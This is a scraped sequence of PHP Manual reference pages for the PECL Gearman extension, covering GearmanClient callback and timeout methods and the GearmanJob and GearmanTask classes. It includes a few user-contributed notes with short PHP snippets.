public int GearmanClient::returnCode ( void )

Returns the last Gearman return code.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

User Contributed Notes

There are no user contributed notes for this page.


Run a list of tasks in parallel

  • « GearmanClient::returnCode
  • GearmanClient::setClientCallback »
  • PHP Manual
  • GearmanClient
  • Run a list of tasks in parallel

GearmanClient::runTasks

(PECL gearman >= 0.5.0)

GearmanClient::runTasks — Run a list of tasks in parallel

Description

public bool GearmanClient::runTasks ( void )

For a set of tasks previously added with GearmanClient::addTask(), GearmanClient::addTaskHigh(), GearmanClient::addTaskLow(), GearmanClient::addTaskBackground(), GearmanClient::addTaskHighBackground(), or GearmanClient::addTaskLowBackground(), this call starts running the tasks in parallel.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task (deprecated)

  • « GearmanClient::runTasks
  • GearmanClient::setCompleteCallback »
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task (deprecated)

GearmanClient::setClientCallback

(PECL gearman <= 0.5.0)

GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)

Description

public void GearmanClient::setClientCallback ( callable $callback )

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

Note:

This method has been replaced by GearmanClient::setDataCallback() in the 0.6.0 release of the Gearman extension.

Parameters

callback

A function or method to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a function to be called on task completion

  • « GearmanClient::setClientCallback
  • GearmanClient::setContext »
  • PHP Manual
  • GearmanClient
  • Set a function to be called on task completion

GearmanClient::setCompleteCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCompleteCallback — Set a function to be called on task completion

Description

public bool GearmanClient::setCompleteCallback ( callable $callback )

Use to set a function to be called when a task is completed. The callback function should accept a single argument, a GearmanTask object.

Parameters

callback

A function to be called

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

Justas Butkus 18-Aug-2011 03:59
One shall note, that callback function MUST either return a valid Gearman status code, or return nothing (do not return).

I.e. these are valid complete callbacks:

<?php
function goodCallbackOne(GearmanTask $task)
{
    print_r($task);
}
?>

<?php
function goodCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return GEARMAN_SUCCESS;
}
?>

While following is NOT, unless you want your client code to fail with Gearman error 'german wait:no active file descriptors':

<?php
function badCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return true;
}
?>


Set application context

  • « GearmanClient::setCompleteCallback
  • GearmanClient::setCreatedCallback »
  • PHP Manual
  • GearmanClient
  • Set application context

GearmanClient::setContext

(PECL gearman >= 0.6.0)

GearmanClient::setContext — Set application context

Description

public bool GearmanClient::setContext ( string $context )

Sets an arbitrary string to provide application context that can later be retrieved by GearmanClient::context().

Parameters

context

Arbitrary context data

Return Values

Always returns TRUE.

See Also

  • GearmanClient::context() - Get the application context

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for when a task is queued

  • « GearmanClient::setContext
  • GearmanClient::setData »
  • PHP Manual
  • GearmanClient
  • Set a callback for when a task is queued

GearmanClient::setCreatedCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCreatedCallback — Set a callback for when a task is queued

Description

public bool GearmanClient::setCreatedCallback ( string $callback )

Sets a function to be called when a task is received and queued by the Gearman job server. The callback should accept a single argument, a GearmanClient oject.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

Karl Rixon 20-Oct-2014 11:57
Contrary to the documentation, this callback accepts an instance of \GearmanTask, not \GearmanClient.


Set application data (deprecated)

  • « GearmanClient::setCreatedCallback
  • GearmanClient::setDataCallback »
  • PHP Manual
  • GearmanClient
  • Set application data (deprecated)

GearmanClient::setData

(PECL gearman <= 0.5.0)

GearmanClient::setData — Set application data (deprecated)

Description

public bool GearmanClient::setData ( string $data )

Sets some arbitrary application data that can later be retrieved by GearmanClient::data().

Note:

This method has been replaced by GearmanCient::setContext() in the 0.6.0 release of the Gearman extension.

Parameters

data

Return Values

Always returns TRUE.

See Also

  • GearmanClient::data() - Get the application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task

  • « GearmanClient::setData
  • GearmanClient::setExceptionCallback »
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task

GearmanClient::setDataCallback

(PECL gearman >= 0.6.0)

GearmanClient::setDataCallback — Callback function when there is a data packet for a task

Description

public bool GearmanClient::setDataCallback ( callable $callback )

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

Parameters

callback

A function or method to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for worker exceptions

  • « GearmanClient::setDataCallback
  • GearmanClient::setFailCallback »
  • PHP Manual
  • GearmanClient
  • Set a callback for worker exceptions

GearmanClient::setExceptionCallback

(PECL gearman >= 0.5.0)

GearmanClient::setExceptionCallback — Set a callback for worker exceptions

Description

public bool GearmanClient::setExceptionCallback ( callable $callback )

Specifies a function to call when a worker for a task sends an exception.

Parameters

callback

Function to call when the worker throws an exception

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set callback for job failure

  • « GearmanClient::setExceptionCallback
  • GearmanClient::setOptions »
  • PHP Manual
  • GearmanClient
  • Set callback for job failure

GearmanClient::setFailCallback

(PECL gearman >= 0.5.0)

GearmanClient::setFailCallback — Set callback for job failure

Description

public bool GearmanClient::setFailCallback ( callable $callback )

Sets the callback function to be used when a task does not complete successfully. The function should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set client options

  • « GearmanClient::setFailCallback
  • GearmanClient::setStatusCallback »
  • PHP Manual
  • GearmanClient
  • Set client options

GearmanClient::setOptions

(PECL gearman >= 0.5.0)

GearmanClient::setOptions — Set client options

Description

public bool GearmanClient::setOptions ( int $options )

Sets one or more client options.

Parameters

options

The options to be set

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for collecting task status

  • « GearmanClient::setOptions
  • GearmanClient::setTimeout »
  • PHP Manual
  • GearmanClient
  • Set a callback for collecting task status

GearmanClient::setStatusCallback

(PECL gearman >= 0.5.0)

GearmanClient::setStatusCallback — Set a callback for collecting task status

Description

public bool GearmanClient::setStatusCallback ( callable $callback )

Sets a callback function used for getting updated status information from a worker. The function should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • « GearmanClient::setStatusCallback
  • GearmanClient::setWarningCallback »
  • PHP Manual
  • GearmanClient
  • Set socket I/O activity timeout

GearmanClient::setTimeout

(PECL gearman >= 0.6.0)

GearmanClient::setTimeout — Set socket I/O activity timeout

Description

public bool GearmanClient::setTimeout ( int $timeout )

Sets the timeout for socket I/O activity.

Parameters

timeout

An interval of time in milliseconds

Return Values

Always returns TRUE.

User Contributed Notes

Ismael Cristal Jr 06-Oct-2012 11:54
GearmanClient has a default timeout of -1 you need to set this to a positive number using setTimeout to avoid cases where your script waits forever to run a job even if there are no workers running at all.


Set a callback for worker warnings

  • « GearmanClient::setTimeout
  • GearmanClient::setWorkloadCallback »
  • PHP Manual
  • GearmanClient
  • Set a callback for worker warnings

GearmanClient::setWarningCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWarningCallback — Set a callback for worker warnings

Description

public bool GearmanClient::setWarningCallback ( callable $callback )

Sets a function to be called when a worker sends a warning. The callback should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for accepting incremental data updates

  • « GearmanClient::setWarningCallback
  • GearmanClient::timeout »
  • PHP Manual
  • GearmanClient
  • Set a callback for accepting incremental data updates

GearmanClient::setWorkloadCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates

Description

public bool GearmanClient::setWorkloadCallback ( callable $callback )

Sets a function to be called when a worker needs to send back data prior to job completion. A worker can do this when it needs to send updates, send partial results, or flush data during long running jobs. The callback should accept a single argument, a GearmanTask object.

Parameters

callback

A function to call

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings

User Contributed Notes

There are no user contributed notes for this page.


Get current socket I/O activity timeout value

  • « GearmanClient::setWorkloadCallback
  • GearmanJob »
  • PHP Manual
  • GearmanClient
  • Get current socket I/O activity timeout value

GearmanClient::timeout

(PECL gearman >= 0.6.0)

GearmanClient::timeout — Get current socket I/O activity timeout value

Description

public int GearmanClient::timeout ( void )

Returns the timeout in milliseconds to wait for I/O activity.

Parameters

This function has no parameters.

Return Values

Timeout in milliseconds to wait for I/O activity. A negative value means an infinite timeout.

See Also

  • GearmanClient::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


The GearmanJob class

(PECL gearman >= 0.5.0)

Introduction

Class synopsis

GearmanJob {
/* Methods */
public bool complete ( string $result )
public __construct ( void )
public bool data ( string $data )
public bool exception ( string $exception )
public bool fail ( void )
public string functionName ( void )
public string handle ( void )
public int returnCode ( void )
public bool sendComplete ( string $result )
public bool sendData ( string $data )
public bool sendException ( string $exception )
public bool sendFail ( void )
public bool sendStatus ( int $numerator , int $denominator )
public bool sendWarning ( string $warning )
public bool setReturn ( int $gearman_return_t )
public bool status ( int $numerator , int $denominator )
public string unique ( void )
public bool warning ( string $warning )
public string workload ( void )
public int workloadSize ( void )
}

Table of Contents

  • GearmanJob::complete — Send the result and complete status (deprecated)
  • GearmanJob::__construct — Create a GearmanJob instance
  • GearmanJob::data — Send data for a running job (deprecated)
  • GearmanJob::exception — Send exception for running job (deprecated)
  • GearmanJob::fail — Send fail status (deprecated)
  • GearmanJob::functionName — Get function name
  • GearmanJob::handle — Get the job handle
  • GearmanJob::returnCode — Get last return code
  • GearmanJob::sendComplete — Send the result and complete status
  • GearmanJob::sendData — Send data for a running job
  • GearmanJob::sendException — Send exception for running job (exception)
  • GearmanJob::sendFail — Send fail status
  • GearmanJob::sendStatus — Send status
  • GearmanJob::sendWarning — Send a warning
  • GearmanJob::setReturn — Set a return value
  • GearmanJob::status — Send status (deprecated)
  • GearmanJob::unique — Get the unique identifier
  • GearmanJob::warning — Send a warning (deprecated)
  • GearmanJob::workload — Get workload
  • GearmanJob::workloadSize — Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status (deprecated)

  • « GearmanJob
  • GearmanJob::__construct »
  • PHP Manual
  • GearmanJob
  • Send the result and complete status (deprecated)

GearmanJob::complete

(PECL gearman <= 0.5.0)

GearmanJob::complete — Send the result and complete status (deprecated)

Description

public bool GearmanJob::complete ( string $result )

Sends result data and the complete status update for this job.

Note:

This method has been replaced by GearmanJob::sendComplete() in the 0.6.0 release of the Gearman extension.

Parameters

result

Serialized result data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanJob instance

  • « GearmanJob::complete
  • GearmanJob::data »
  • PHP Manual
  • GearmanJob
  • Create a GearmanJob instance

GearmanJob::__construct

(PECL gearman >= 0.5.0)

GearmanJob::__construct — Create a GearmanJob instance

Description

public GearmanJob::__construct ( void )

Creates a GearmanJob instance representing a job the worker is to complete.

Parameters

This function has no parameters.

Return Values

A GearmanJob object.

User Contributed Notes

There are no user contributed notes for this page.


Send data for a running job (deprecated)

  • « GearmanJob::__construct
  • GearmanJob::exception »
  • PHP Manual
  • GearmanJob
  • Send data for a running job (deprecated)

GearmanJob::data

(PECL gearman <= 0.5.0)

GearmanJob::data — Send data for a running job (deprecated)

Description

public bool GearmanJob::data ( string $data )

Sends data to the job server (and any listening clients) for this job.

Note:

This method has been replaced by GearmanJob::sendData() in the 0.6.0 release of the Gearman extension.

Parameters

data

Arbitrary serialized data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Send exception for running job (deprecated)

  • « GearmanJob::data
  • GearmanJob::fail »
  • PHP Manual
  • GearmanJob
  • Send exception for running job (deprecated)

GearmanJob::exception

(PECL gearman <= 0.5.0)

GearmanJob::exception — Send exception for running job (deprecated)

Description

public bool GearmanJob::exception ( string $exception )

Sends the supplied exception when this job is running.

Note:

This method has been replaced by GearmanJob::sendException() in the 0.6.0 release of the Gearman extension.

Parameters

exception

An exception description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status (deprecated)

  • « GearmanJob::exception
  • GearmanJob::functionName »
  • PHP Manual
  • GearmanJob
  • Send fail status (deprecated)

GearmanJob::fail

(PECL gearman <= 0.5.0)

GearmanJob::fail — Send fail status (deprecated)

Description

public bool GearmanJob::fail ( void )

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

Note:

This method has been replaced by GearmanJob::sendFail() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Get function name

  • « GearmanJob::fail
  • GearmanJob::handle »
  • PHP Manual
  • GearmanJob
  • Get function name

GearmanJob::functionName

(PECL gearman >= 0.5.0)

GearmanJob::functionName — Get function name

Description

public string GearmanJob::functionName ( void )

Returns the function name for this job. This is the function the work will execute to perform the job.

Parameters

This function has no parameters.

Return Values

The name of a function.

See Also

  • GearmanTask::function() - Get associated function name (deprecated)

User Contributed Notes

fastest963 at gmail dot com 01-Oct-2014 10:16
FYI this is the queue name not the callable function name.


Get the job handle

  • « GearmanJob::functionName
  • GearmanJob::returnCode »
  • PHP Manual
  • GearmanJob
  • Get the job handle

GearmanJob::handle

(PECL gearman >= 0.5.0)

GearmanJob::handle — Get the job handle

Description

public string GearmanJob::handle ( void )

Returns the opaque job handle assigned by the job server.

Parameters

This function has no parameters.

Return Values

An opaque job handle.

See Also

  • GearmanTask::jobHandle() - Get the job handle

User Contributed Notes

There are no user contributed notes for this page.


Get last return code

  • « GearmanJob::handle
  • GearmanJob::sendComplete »
  • PHP Manual
  • GearmanJob
  • Get last return code

GearmanJob::returnCode

(PECL gearman >= 0.5.0)

GearmanJob::returnCode — Get last return code

Description

public int GearmanJob::returnCode ( void )

Returns the last return code issued by the job server.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanTask::returnCode() - Get the last return code

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status

  • « GearmanJob::returnCode
  • GearmanJob::sendData »
  • PHP Manual
  • GearmanJob
  • Send the result and complete status

GearmanJob::sendComplete

(PECL gearman >= 0.6.0)

GearmanJob::sendComplete — Send the result and complete status

Description

public bool GearmanJob::sendComplete ( string $result )

Sends result data and the complete status update for this job.

Parameters

result

Serialized result data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Send data for a running job

  • « GearmanJob::sendComplete
  • GearmanJob::sendException »
  • PHP Manual
  • GearmanJob
  • Send data for a running job

GearmanJob::sendData

(PECL gearman >= 0.6.0)

GearmanJob::sendData — Send data for a running job

Description

public bool GearmanJob::sendData ( string $data )

Sends data to the job server (and any listening clients) for this job.

Parameters

data

Arbitrary serialized data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

ABC 25-May-2013 04:55
For Gearman PHP 1.1.1
sendData() only works for addTask.
It does not work with doNormal, doBackground or addTaskBackground submission types


Send exception for running job (exception)

  • « GearmanJob::sendData
  • GearmanJob::sendFail »
  • PHP Manual
  • GearmanJob
  • Send exception for running job (exception)

GearmanJob::sendException

(PECL gearman >= 0.6.0)

GearmanJob::sendException — Send exception for running job (exception)

Description

public bool GearmanJob::sendException ( string $exception )

Sends the supplied exception when this job is running.

Parameters

exception

An exception description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status

  • « GearmanJob::sendException
  • GearmanJob::sendStatus »
  • PHP Manual
  • GearmanJob
  • Send fail status

GearmanJob::sendFail

(PECL gearman >= 0.6.0)

GearmanJob::sendFail — Send fail status

Description

public bool GearmanJob::sendFail ( void )

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send status

  • « GearmanJob::sendFail
  • GearmanJob::sendWarning »
  • PHP Manual
  • GearmanJob
  • Send status

GearmanJob::sendStatus

(PECL gearman >= 0.6.0)

GearmanJob::sendStatus — Send status

Description

public bool GearmanJob::sendStatus ( int $numerator , int $denominator )

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

Parameters

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Send a warning

  • « GearmanJob::sendStatus
  • GearmanJob::setReturn »
  • PHP Manual
  • GearmanJob
  • Send a warning

GearmanJob::sendWarning

(PECL gearman >= 0.6.0)

GearmanJob::sendWarning — Send a warning

Description

public bool GearmanJob::sendWarning ( string $warning )

Sends a warning for this job while it is running.

Parameters

warning

A warning message.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Set a return value

  • « GearmanJob::sendWarning
  • GearmanJob::status »
  • PHP Manual
  • GearmanJob
  • Set a return value

GearmanJob::setReturn

(PECL gearman >= 0.5.0)

GearmanJob::setReturn — Set a return value

Description

public bool GearmanJob::setReturn ( int $gearman_return_t )

Sets the return value for this job, indicates how the job completed.

Parameters

gearman_return_t

A valid Gearman return value.

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.


Send status (deprecated)

  • « GearmanJob::setReturn
  • GearmanJob::unique »
  • PHP Manual
  • GearmanJob
  • Send status (deprecated)

GearmanJob::status

(PECL gearman <= 0.5.0)

GearmanJob::status — Send status (deprecated)

Description

public bool GearmanJob::status ( int $numerator , int $denominator )

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

Note:

This method has been replaced by GearmanJob::sendStatus() in the 0.6.0 release of the Gearman extenstion.

Parameters

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier

  • « GearmanJob::status
  • GearmanJob::warning »
  • PHP Manual
  • GearmanJob
  • Get the unique identifier

GearmanJob::unique

(PECL gearman >= 0.5.0)

GearmanJob::unique — Get the unique identifier

Description

public string GearmanJob::unique ( void )

Returns the unique identifiter for this job. The identifier is assigned by the client.

Parameters

This function has no parameters.

Return Values

An opaque unique identifier.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanTask::uuid() - Get the unique identifier for a task (deprecated)

User Contributed Notes

ben dot paulsen at myedu dot com 19-Dec-2011 09:56
I think it's worth noting that this function will not return the unique id specified by a client request unless GEARMAN_WORKER_GRAB_UNIQ is specified as an option to the worker instance as follows ...

<?php
  $worker= new GearmanWorker();
  $worker->addServer();
  $worker->addOptions(GEARMAN_WORKER_GRAB_UNIQ);
?>


Send a warning (deprecated)

  • « GearmanJob::unique
  • GearmanJob::workload »
  • PHP Manual
  • GearmanJob
  • Send a warning (deprecated)

GearmanJob::warning

(PECL gearman <= 0.5.0)

GearmanJob::warning — Send a warning (deprecated)

Description

public bool GearmanJob::warning ( string $warning )

Sends a warning for this job while it is running.

Note:

This method has been replaced by GearmanJob::sendWarning() in the 0.6.0 release of the Gearman extension.

Parameters

warning

A warning messages.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Get workload

  • « GearmanJob::warning
  • GearmanJob::workloadSize »
  • PHP Manual
  • GearmanJob
  • Get workload

GearmanJob::workload

(PECL gearman >= 0.5.0)

GearmanJob::workload — Get workload

Description

public string GearmanJob::workload ( void )

Returns the workload for the job. This is serialized data that is to be processed by the worker.

Parameters

This function has no parameters.

Return Values

Serialized data.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanJob::workloadSize() - Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Get size of work load

  • « GearmanJob::workload
  • GearmanTask »
  • PHP Manual
  • GearmanJob
  • Get size of work load

GearmanJob::workloadSize

(PECL gearman >= 0.5.0)

GearmanJob::workloadSize — Get size of work load

Description

public int GearmanJob::workloadSize ( void )

Returns the size of the job's work load (the data the worker is to process) in bytes.

Parameters

This function has no parameters.

Return Values

The size in bytes.

See Also

  • GearmanJob::workload() - Get workload

User Contributed Notes

There are no user contributed notes for this page.


The GearmanTask class

(PECL gearman >= 0.5.0)

Introduction

Class synopsis

GearmanTask {
/* Methods */
public __construct ( void )
public GearmanTask create ( void )
public string data ( void )
public int dataSize ( void )
public string function ( void )
public string functionName ( void )
public bool isKnown ( void )
public bool isRunning ( void )
public string jobHandle ( void )
public array recvData ( int $data_len )
public int returnCode ( void )
public int sendData ( string $data )
public int sendWorkload ( string $data )
public int taskDenominator ( void )
public int taskNumerator ( void )
public string unique ( void )
public string uuid ( void )
}

Table of Contents

  • GearmanTask::__construct — Create a GearmanTask instance
  • GearmanTask::create — Create a task (deprecated)
  • GearmanTask::data — Get data returned for a task
  • GearmanTask::dataSize — Get the size of returned data
  • GearmanTask::function — Get associated function name (deprecated)
  • GearmanTask::functionName — Get associated function name
  • GearmanTask::isKnown — Determine if task is known
  • GearmanTask::isRunning — Test whether the task is currently running
  • GearmanTask::jobHandle — Get the job handle
  • GearmanTask::recvData — Read work or result data into a buffer for a task
  • GearmanTask::returnCode — Get the last return code
  • GearmanTask::sendData — Send data for a task (deprecated)
  • GearmanTask::sendWorkload — Send data for a task
  • GearmanTask::taskDenominator — Get completion percentage denominator
  • GearmanTask::taskNumerator — Get completion percentage numerator
  • GearmanTask::unique — Get the unique identifier for a task
  • GearmanTask::uuid — Get the unique identifier for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanTask instance

  • « GearmanTask
  • GearmanTask::create »
  • PHP Manual
  • GearmanTask
  • Create a GearmanTask instance

GearmanTask::__construct

(PECL gearman >= 0.5.0)

GearmanTask::__construct — Create a GearmanTask instance

Description

public GearmanTask::__construct ( void )

Creates a GearmanTask instance representing a task to be submitted to a job server.

Parameters

This function has no parameters.

Return Values

A GearmanTask object.

User Contributed Notes

There are no user contributed notes for this page.


Create a task (deprecated)

  • « GearmanTask::__construct
  • GearmanTask::data »
  • PHP Manual
  • GearmanTask
  • Create a task (deprecated)

GearmanTask::create

(PECL gearman <= 0.5.0)

GearmanTask::create — Create a task (deprecated)

Description

public GearmanTask GearmanTask::create ( void )

Returns a new GearmanTask object.

Note:

This method was removed in the 0.6.0 version of the Gearman extension.

Parameters

This function has no parameters.

Return Values

A GearmanTask oject or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get data returned for a task

  • « GearmanTask::create
  • GearmanTask::dataSize »
  • PHP Manual
  • GearmanTask
  • Get data returned for a task

GearmanTask::data

(PECL gearman >= 0.5.0)

GearmanTask::data — Get data returned for a task

Description

public string GearmanTask::data ( void )

Returns data being returned for a task by a worker.

Parameters

This function has no parameters.

Return Values

The serialized data, or FALSE if no data is present.

See Also

  • GearmanTask::dataSize() - Get the size of returned data

User Contributed Notes

There are no user contributed notes for this page.


Get the size of returned data

  • « GearmanTask::data
  • GearmanTask::function »
  • PHP Manual
  • GearmanTask
  • Get the size of returned data

GearmanTask::dataSize

(PECL gearman >= 0.5.0)

GearmanTask::dataSize — Get the size of returned data

Description

public int GearmanTask::dataSize ( void )

Returns the size of the data being returned for a task.

Parameters

This function has no parameters.

Return Values

The data size, or FALSE if there is no data.

See Also

  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name (deprecated)

